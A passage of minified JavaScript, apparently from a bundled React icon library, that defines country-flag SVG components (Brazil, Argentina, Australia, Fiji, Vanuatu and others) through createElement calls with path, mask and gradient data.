0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BR_-_Brazil_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#BR_-_Brazil_svg__b)"},(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",filter:"url(#BR_-_Brazil_svg__c)"},(0,s.createElement)("path",{fill:"#FFD221",d:"m7.963 1.852 6.101 4.252-6.184 3.982L1.904 6.02l6.06-4.169Z"}),(0,s.createElement)("path",{fill:"url(#BR_-_Brazil_svg__d)",d:"m7.963 1.852 6.101 4.252-6.184 3.982L1.904 6.02l6.06-4.169Z"})),(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M8 8.6a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BR_-_Brazil_svg__e",width:6,height:6,x:5,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8 8.6a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#F7FCFF",mask:"url(#BR_-_Brazil_svg__e)"},(0,s.createElement)("path",{fillRule:"evenodd",d:"m7.19 7.285-.112.059.022-.125-.09-.088.124-.018L7.19 7l.056.113.125.018-.09.088.02.125-.111-.059ZM8.19 7.285l-.112.059.022-.125-.09-.088.124-.018L8.19 7l.056.113.125.018-.09.088.02.125-.111-.059ZM8.19 7.885l-.112.059.022-.125-.09-.088.124-.018.056-.113.056.113.125.018-.09.088.02.125-.111-.059ZM7.69 5.785l-.112.059.022-.125-.09-.088.124-.018.056-.113.056.113.125.018-.09.088.02.125-.111-.059ZM7.69 6.785l-.112.059.022-.125-.09-.088.124-.018.056-.113.056.113.125.018-.09.088.02.125-.111-.059ZM6.99 6.285l-.112.059.022-.125-.09-.088.124-.018L6.99 6l.056.113.125.018-.09.088.02.125-.11-.059ZM6.29 6.685l-.112.059.022-.125-.09-.088.124-.018.056-.113.056.113.125.018-.09.088.02.125-.111-.059ZM8.59 4.985l-.112.059.022-.125-.09-.088.124-.018.056-.113.056.113.125.018-.09.088.02.125-.111-.059Z",clipRule:"evenodd"}),(0,s.createElement)("path",{d:"m4.962 5.499.076-.998c2.399.181 4.292.97 5.656 2.373l-.717.697C8.795 6.355 7.131 5.662 4.962 5.5Z"})))),(0,s.createElement)("defs",null,(0,s.createElement)("linearGradient",{id:"BR_-_Brazil_svg__d",x1:16,x2:16,y1:12,y2:0,gradientUnits:"userSpaceOnUse"},(0,s.createElement)("stop",{stopColor:"#FFC600"}),(0,s.createElement)("stop",{offset:1,stopColor:"#FFDE42"})),(0,s.createElement)("filter",{id:"BR_-_Brazil_svg__c",width:12.16,height:8.234,x:1.904,y:1.852,colorInterpolationFilters:"sRGB",filterUnits:"userSpaceOnUse"},(0,s.createElement)("feFlood",{floodOpacity:0,result:"BackgroundImageFix"}),(0,s.createElement)("feColorMatrix",{in:"SourceAlpha",result:"hardAlpha",values:"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"}),(0,s.createElement)("feOffset",null),(0,s.createElement)("feColorMatrix",{values:"0 0 0 0 0.0313726 0 0 0 0 0.368627 0 0 0 0 0 0 0 0 0.28 0"}),(0,s.createElement)("feBlend",{in2:"BackgroundImageFix",result:"effect1_dropShadow_270_54984"}),(0,s.createElement)("feBlend",{in:"SourceGraphic",in2:"effect1_dropShadow_270_54984",result:"shape"})))),ae=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AR_-_Argentina_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AR_-_Argentina_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AR_-_Argentina_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AR_-_Argentina_svg__b)"},(0,s.createElement)("path",{fill:"#58A5FF",d:"M0 0v4h16V0H0ZM0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#FFD018",stroke:"#F19900",strokeOpacity:.98,strokeWidth:.25,d:"M8.276 7.244s-.51 1.059-.96 1.276c.194-.486.265-1.477.265-1.477s-1.165.462-1.575.378c.492-.344 1.175-.98 1.175-.98s-1.509-.494-1.472-.704c.682.122 1.618-.011 1.618-.011s-1.058-1.27-.95-1.364c.16.157 1.43.82 1.43.82s.091-1.13.364-1.511c.033.269.416 1.486.416 1.486s.77-.771 1.198-.771c-.187.233-.632 1.256-.632 1.256s1.108-.018 1.53.19c-.51.072-1.405.521-1.405.521s1.165.884 1.058 1.068a5.166 5.166 0 0 0-1.348-.408s.2 1.23.038 1.507c-.157-.41-.75-1.276-.75-1.276Z"}),(0,s.createElement)("path",{fill:"#FFD018",stroke:"#F19900",strokeOpacity:.98,strokeWidth:.25,d:"M8.21 6.67a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z"})))),se=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CO_-_Colombia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CO_-_Colombia_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CO_-_Colombia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CO_-_Colombia_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M0 0v6h16V0H0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 9v3h16V9H0Z"})))),ne=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AU_-_Australia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AU_-_Australia_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("g",{clipPath:"url(#AU_-_Australia_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m-1.002 6.5 1.98.869L9.045.944l1.045-1.29-2.118-.29-3.29 2.768-2.649 1.865L-1.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-.731 7.108 1.009.505 9.437-8.08H8.298L-.731 7.109Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m10.002 6.5-1.98.869L-.045.944-1.09-.346l2.118-.29 3.29 2.768 2.649 1.865L10.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m9.935 6.937-1.01.504-4.018-3.46-1.19-.386L-1.19-.342H.227L5.13 3.502l1.303.463 3.502 2.972Z"}),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M3.242-.75h2.5v3H9.75v2.5H5.742v3h-2.5v-3H-.75v-2.5h3.992v-3ZM3.992 3H0v1h3.992v3h1V4H9V3H4.992V0h-1v3Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#F7FCFF",clipPath:"url(#AU_-_Australia_svg__c)"},(0,s.createElement)("path",{d:"m4.408 9.834-.59.546.058-.802-.795-.121.664-.455-.4-.697.768.236.295-.748.295.748.769-.236-.4.697.663.455-.795.121.058.802-.59-.546ZM10.776 6.069l-.394.364.04-.535-.53-.08.442-.304-.267-.464.512.157.197-.499.197.499.512-.157-.267.464.442.303-.53.081.04.535-.394-.364ZM11.715 2.377l-.394.363.04-.534-.53-.081.442-.303-.268-.465.513.157.197-.498.197.498.512-.157-.267.465.442.303-.53.08.04.535-.394-.363ZM14.061 4.223l-.393.364.039-.535-.53-.08.442-.304-.267-.464.513.157.196-.499.197.499.513-.157-.267.464.442.303-.53.081.039.535-.394-.364ZM12.184 9.53l-.394.364.04-.534-.53-.081.442-.303-.267-.465.512.157.197-.498.197.498.512-.157-.267.465.443.303-.53.08.039.535-.394-.363ZM13.827 6.648l-.4.21.076-.445-.323-.316.447-.065.2-.405.2.405.447.065-.324.316.077.445-.4-.21Z"}))),(0,s.createElement)("defs",null,(0,s.createElement)("clipPath",{id:"AU_-_Australia_svg__b"},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h9v7H0z"})),(0,s.createElement)("clipPath",{id:"AU_-_Australia_svg__c"},(0,s.createElement)("path",{fill:"#fff",d:"M3 1h12v10H3z"})))),ie=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"NZ_-_New_Zealand_(Aotearoa)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#NZ_-_New_Zealand_(Aotearoa)_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("g",{clipPath:"url(#NZ_-_New_Zealand_(Aotearoa)_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m-1.002 6.5 1.98.869L9.045.944l1.045-1.29-2.118-.29-3.29 2.768-2.649 1.865L-1.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-.731 7.108 1.009.505 9.436-8.08H8.298L-.731 7.109Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m10.002 6.5-1.98.869L-.045.944-1.09-.346l2.118-.29 3.29 2.768 2.649 1.865L10.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m9.935 6.937-1.01.504-4.018-3.46-1.19-.386L-1.19-.342H.227L5.13 3.502l1.303.463 3.502 2.972Z"}),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M3.242-.75h2.5v3H9.75v2.5H5.742v3h-2.5v-3H-.75v-2.5h3.992v-3ZM3.992 3H0v1h3.992v3h1V4H9V3H4.992V0h-1v3Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",stroke:"#F7FCFF",strokeWidth:.35,d:"m12.427 10.25-.882.463.168-.981L11 9.036l.986-.143.44-.893.441.893.986.143-.713.696.168.982-.881-.464ZM10.6 6.935l-.68.357.13-.757L9.5 6l.76-.11.34-.689.34.689.76.11-.55.536.13.757-.68-.357ZM14.099 6.933l-.68.357.13-.756L13 5.998l.76-.11.339-.688.34.688.759.11-.55.536.13.756-.68-.357ZM12.6 4.135l-.68.357.13-.757-.55-.536.76-.11.34-.689.34.689.76.11-.55.536.13.757-.68-.357Z",clipRule:"evenodd"})),(0,s.createElement)("defs",null,(0,s.createElement)("clipPath",{id:"NZ_-_New_Zealand_(Aotearoa)_svg__b"},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h9v7H0z"})))),ce=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"FJ_-_Fiji_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#FJ_-_Fiji_svg__a)"},(0,s.createElement)("path",{fill:"#67BFE5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("g",{clipPath:"url(#FJ_-_Fiji_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m-1.002 6.5 1.98.869L9.045.944l1.045-1.29-2.118-.29-3.29 2.768-2.649 1.865L-1.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-.731 7.108 1.009.505 9.437-8.08H8.298L-.731 7.109Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m10.002 6.5-1.98.869L-.045.944-1.09-.346l2.118-.29 3.29 2.768 2.649 1.865L10.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m9.935 6.937-1.01.504-4.018-3.46-1.19-.386L-1.19-.342H.227L5.13 3.502l1.303.463 3.502 2.972Z"}),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M3.242-.75h2.5v3H9.75v2.5H5.742v3h-2.5v-3H-.75v-2.5h3.992v-3ZM3.992 3H0v1h3.992v3h1V4H9V3H4.992V0h-1v3Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M10 5h4.828v4.167S14.423 11 12.414 11C10.404 11 10 9.167 10 9.167V5Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"FJ_-_Fiji_svg__c",width:5,height:6,x:10,y:5,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M10 5h4.828v4.167S14.423 11 12.414 11C10.404 11 10 9.167 10 9.167V5Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#FJ_-_Fiji_svg__c)"},(0,s.createElement)("path",{fill:"#C3352C",d:"M10 5h4.828v1.5H10z"}),(0,s.createElement)("path",{fill:"#C3352C",d:"M12.069 6.333h.69V11h-.69z"}),(0,s.createElement)("path",{fill:"#C3352C",fillRule:"evenodd",d:"M10 8.167h4.828v.666H10v-.666Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#979797",fillRule:"evenodd",d:"M11.27 10.368c.29.41.527.571.694.33.118-.17.13-.34-.037-.374a2.778 2.778 0 0 1-.205-.287l.005-.005c.047-.046.049-.107.04-.13-.004-.03.02-.073.17-.188.137-.104.198-.203.108-.311-.047-.057-.09-.068-.223-.089l-.04-.006a.716.716 0 0 1-.087-.018l-.093-.178a1.145 1.145 0 0 0-.51.098l-.152.064c-.05.021-.06.026-.061.025l.002-.002c.004-.003.01-.008.001-.008-.035 0-.073-.004-.178-.017l-.02-.003c-.302-.038-.378-.037-.427.104-.074.214.367.605.6.653.118.023.258.135.413.342Zm.328-.294a.27.27 0 0 0 .07-.006l.006-.013a.13.13 0 0 1-.076.02Zm-1.101-.59c-.006-.007-.008-.017-.004-.029 0 .003.002.008.008.016a.348.348 0 0 0 .026.03.061.061 0 0 1-.03-.017Zm.41.296c-.084-.016-.297-.194-.38-.28.022.006.051.01.083.013l.043.004.02.003c.118.015.159.02.209.02.029 0 .023.009.02.015-.002.002-.003.003-.002.004a.758.758 0 0 0 .138-.055l.15-.064a.943.943 0 0 1 .259-.072c.01.042.034.08.073.11a.444.444 0 0 0 .217.076c-.128.106-.193.194-.213.28-.116.037-.105.167-.036.298.048.09.14.219.276.39l.098.046c-.03 0-.046-.013-.058-.023-.015-.013-.024-.02-.045.01-.002.002-.093-.06-.287-.334-.19-.254-.376-.402-.565-.44Zm.61.15v-.005.005Zm.08-.106h-.008.007Zm.001 0h-.002.002Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#964C36",strokeWidth:.5,d:"M10.828 8.055s-.239-.33-.239-.448"}),(0,s.createElement)("path",{stroke:"#2A8E51",strokeWidth:.5,d:"M10.68 7.771s-.306-.13-.306 0M10.674 7.634s-.214-.272-.375-.272c-.162 0-.158.136-.158.136M10.552 7.361s-.096-.446-.249-.446-.153.223-.153.223M10.59 7.36s-.042-.382.155-.382"}),(0,s.createElement)("path",{stroke:"#964C36",strokeWidth:.5,d:"M11.13 7.99s-.11-.391-.07-.502"}),(0,s.createElement)("path",{stroke:"#2A8E51",strokeWidth:.5,d:"M11.088 7.673s-.242-.226-.286-.104M11.13 7.543s-.108-.33-.26-.385c-.15-.055-.194.074-.194.074M11.11 7.244s.062-.452-.082-.505c-.144-.052-.22.158-.22.158M11.146 7.257s.09-.375.276-.307"}),(0,s.createElement)("path",{stroke:"#964C36",strokeWidth:.35,d:"M11.376 8.13s.158-.375.132-.49"}),(0,s.createElement)("path",{stroke:"#2A8E51",strokeWidth:.35,d:"M11.457 7.82s.268-.195.297-.068M11.43 7.686s.148-.314.305-.35c.158-.037.184.097.184.097M11.488 7.392s-.007-.457.143-.491c.149-.035.2.183.2.183M11.45 7.4s-.044-.383-.236-.338M13.349 7.9s.121-.556.465-.556c.345 0 .499.588.499.588"}),(0,s.createElement)("path",{stroke:"#2A8E51",strokeWidth:.35,d:"M13.065 7.52s.185-.328.797-.301c.612.027.723.302.723.302M12.941 7.103s.336-.417.807-.064l.16.064s.16-.472.933 0"}),(0,s.createElement)("path",{stroke:"#964C36",strokeWidth:.5,d:"M13.87 8.018s.024-.52.106-.662M14.55 9.157s-.31-.145-.402 0c-.093.145-1.207 1.48-1.207 1.48"}),(0,s.createElement)("path",{fill:"#FFF203",fillRule:"evenodd",d:"m13.482 9.298.69.482s.318-.226.16-.354c-.16-.128-.592-.354-.592-.354l-.258.226Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#00A651",fillRule:"evenodd",d:"M13.458 9.322s-.16.168-.16.296c0 .128-.149.47-.149.47s.417.257.503.094c.087-.164.648-.066.549-.315-.1-.25-.743-.545-.743-.545Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD100",fillRule:"evenodd",d:"M10.528 5.591s.369-.189.551 0c.183.19.332-.016.332-.13s.29-.506.29-.188-.09.498.165.498c.254 0 1.401-.44 1.676-.31.275.13.486.098.416-.088-.07-.187-.25-.303-.596-.201-.346.101-.264.2-.563.2-.3 0-.632-.099-.632-.099s.093-.167.435-.048c.341.119.812-.147.94-.147.128 0 .48-.008.515.094.035.101.248.195.086.29-.162.094-.43.153-.246.275.184.121.608.098.628.224.02.126.221.315.14.315-.08 0-.225.178-.36.124-.136-.054-.152-.102-.022-.146s.128-.228.021-.228-.055.064-.299 0c-.244-.065-.567-.137-.547 0 .02.136.178.346-.115.374-.293.028-.43.14-.487.05-.057-.09-.261-.211-.1-.25.16-.038.313.131.37.104.058-.028.189-.043.08-.16-.11-.118-.29-.187-.123-.275.167-.088.035-.09-.284.092-.32.182-.497.337-.777.315-.28-.022-.386.008-.476-.022-.09-.03-.528.326-.655.236-.126-.09-.534-.125-.46-.236.073-.11.171-.168.281-.11.11.056.22.113.293.056.074-.057.288-.253.234-.292-.054-.04-.002-.171-.306-.171s-.412.147-.484.054c-.072-.092.08-.2.08-.2Z",clipRule:"evenodd"}))),(0,s.createElement)("defs",null,(0,s.createElement)("clipPath",{id:"FJ_-_Fiji_svg__b"},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h9v7H0z"})))),re=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PG_-_Papua_New_Guinea_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PG_-_Papua_New_Guinea_svg__a)"},(0,s.createElement)("path",{fill:"#E11C1B",d:"M0 0h16v12H0z"}),(0,s.createElement)("path",{fill:"#1D1D1D",fillRule:"evenodd",d:"m0 0 16 12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#EEEEF6",fillRule:"evenodd",d:"M3.542 9.134h.666l.316-.746.373.741.682.037-.583.635.3.765-.742-.426-.684.43.258-.743-.586-.693ZM1.542 7.134h.666l.316-.746.373.741.682.038-.583.634.3.765-.742-.426-.684.43.258-.743-.586-.693ZM3.542 6.134h.666l.316-.746.373.741.682.038-.583.634.3.765-.742-.426-.684.43.258-.743-.586-.693Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#EEEEF6",fillRule:"evenodd",d:"m4.856 8.282.457-.015.166-.472.185.47.421.04-.379.268.306.475-.53-.199-.46.205.242-.468-.408-.304ZM5.856 7.282l.457-.015.166-.472.185.47.421.04-.379.268.306.475-.53-.199-.46.205.242-.468-.408-.304Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FBCD17",fillRule:"evenodd",d:"M10.542 1s-1.544.308-1.111 2.455h-.22s.018-.112-.194-.178c-.212-.065-.17-.04-.279 0-.11.041-.774 0-.774 0v.082l.47.204s-.011.169.186.263c.196.093.34.139.34.139s.028.186-.156.186-.926-.24-1.19.35C7.351 5.093 7 5.526 7 5.526h.395l-.106.132h.446l-.12.069s.55-.006.593-.069c.043-.062 0 .169 0 .169s.534-.244.563-.3l.249.17.071-.289.267.118.073-.275s.756 1.264 1.33 1.192v-.21l.523.21.066-.094s.632.258.827.282l-.139-.282h.139l-.139-.522h.139l-.278-.419.078-.113-.051-.15s1.017.325.971.84c-.046.517-.499.725-.499.725s-.434.133-.827.104c0 0 .312.368.971.244.66-.125.878-.764.878-.764s.302.628.053.958c-.248.33-1.357.562-1.357.562s.401.235.781.175.972-.391 1.086-.931c.115-.54-.395-1.536-.626-1.65l-.091-.345.207.083-.426-1.042.207.045-.603-.75.166-.051-.833-.6.25-.065s-.617-.312-1.319.066l.007-.13-.185.03.011-.143.184-.278-.276-.106s.223-.335.19-.33c0 0-.249.071-.235.041 0 0 .125-.322.092-.313 0 0-.287.097-.245.048l.11-.196L10.543 1Z",clipRule:"evenodd"}))),me=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SB_-_Solomon_Islands_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SB_-_Solomon_Islands_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SB_-_Solomon_Islands_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#SB_-_Solomon_Islands_svg__b)"},(0,s.createElement)("path",{fill:"#579D20",fillRule:"evenodd",d:"M0 12h16V0L0 12Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m-.391 12.373-.902-1.248L16.837-.977 17.74.27-.39 12.373Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m1.827 3.273.681-.473.714.425-.25-.762.5-.545h-.677l-.287-.801-.286.8-.678.029.5.517-.217.81Zm2.829 0 .681-.473.714.425-.25-.762.5-.545h-.677l-.287-.801-.286.8-.678.029.5.517-.217.81Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m3.324 4.727.682-.473.714.425-.25-.762.499-.545h-.677l-.286-.801-.287.8-.678.029.5.517-.217.81ZM2.508 5.8l-.681.473.217-.81-.5-.517.678-.028.286-.801.287.8h.677l-.5.546.25.762-.714-.425Zm2.83 0-.682.473.218-.81-.501-.517.678-.028.286-.801.287.8h.677l-.5.546.25.762-.714-.425Z",clipRule:"evenodd"})))),de=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VU_-_Vanuatu_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VU_-_Vanuatu_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m0-1 8.335 7L0 13V-1Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"VU_-_Vanuatu_svg__b",width:18,height:21,x:-1,y:-4.677,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M-1-4.677h18v21H-1z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"M0-1.677 8.704 5H16v2H8.585L0 13.406V11.17L7 6 0 .767v-2.444Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M0-1.677 8.704 5H16v2H8.585L0 13.406V11.17L7 6 0 .767v-2.444Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",d:"m8.704 5-.609.793.27.207h.34V5ZM0-1.677l.609-.794L-1-3.705v2.028h1ZM16 5h1V4h-1v1Zm0 2v1h1V7h-1ZM8.585 7V6h-.332l-.266.199.598.801ZM0 13.406h-1V15.4l1.598-1.193L0 13.406Zm0-2.236-.594-.804-.406.3v.504h1ZM7 6l.594.804 1.083-.8L7.599 5.2 7 6ZM0 .767h-1v.501l.401.3.599-.8Zm9.313 3.44L.609-2.471-.61-.884l8.704 6.677 1.218-1.586ZM16 4H8.704v2H16V4Zm1 3V5h-2v2h2ZM8.585 8H16V6H8.585v2ZM.598 14.207l8.585-6.406L7.987 6.2l-8.585 6.405 1.196 1.603ZM-1 11.17v2.236h2V11.17h-2Zm7.406-5.974-7 5.17 1.188 1.609 7-5.17-1.188-1.61ZM-.6 1.568l7 5.233L7.6 5.199l-7-5.233L-.6 1.568ZM-1-1.677V.767h2v-2.444h-2Z",mask:"url(#VU_-_Vanuatu_svg__b)"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M2.437 8.384v-.79c.705-.155 1.171-.358 1.399-.6.559-.69.187-2.304-.962-2.294-.569 0-1.157.272-1.157.91 0 .793.163 1.132.72 1.132.555 0 .759.03 1.124-.469l.396.123c-.391.533-.919.955-1.52.955-.991 0-1.53-.747-1.53-1.611 0-1.067.866-1.814 1.91-1.814.779 0 2.01.954 2.01 1.814 0 .86 0 1.253-.675 1.854a3.666 3.666 0 0 1-1.715.79Z"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M2.496 4.94a.071.071 0 0 0-.088.05l-.027.104-.004-.005a.071.071 0 0 0-.113.087l.049.064-.082.076a.071.071 0 0 0 .097.105l.072-.068.125.164-.137.074a.071.071 0 0 0 .068.126l.156-.084.107.143-.188.1a.071.071 0 1 0 .068.127l.205-.111a14 14 0 0 1 .144.2l-.131.07a.071.071 0 0 0 .067.126l.146-.078c.06.09.091.144.091.159a.071.071 0 1 0 .143 0c0-.037-.037-.113-.116-.235a.075.075 0 0 0 .003-.006l.106-.232a.071.071 0 1 0-.13-.06l-.072.16a10.927 10.927 0 0 0-.159-.221l.075-.165a.071.071 0 1 0-.13-.06l-.042.093-.072-.096.101-.223a.071.071 0 1 0-.13-.059l-.069.152-.138-.18.056-.21a.071.071 0 0 0-.051-.087Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M2.976 4.94a.071.071 0 0 1 .087.05l.028.104.004-.005a.071.071 0 0 1 .113.087l-.05.064.083.076a.071.071 0 0 1-.097.105l-.072-.068-.125.164.137.074a.071.071 0 1 1-.068.126l-.156-.084-.107.143.188.1a.071.071 0 1 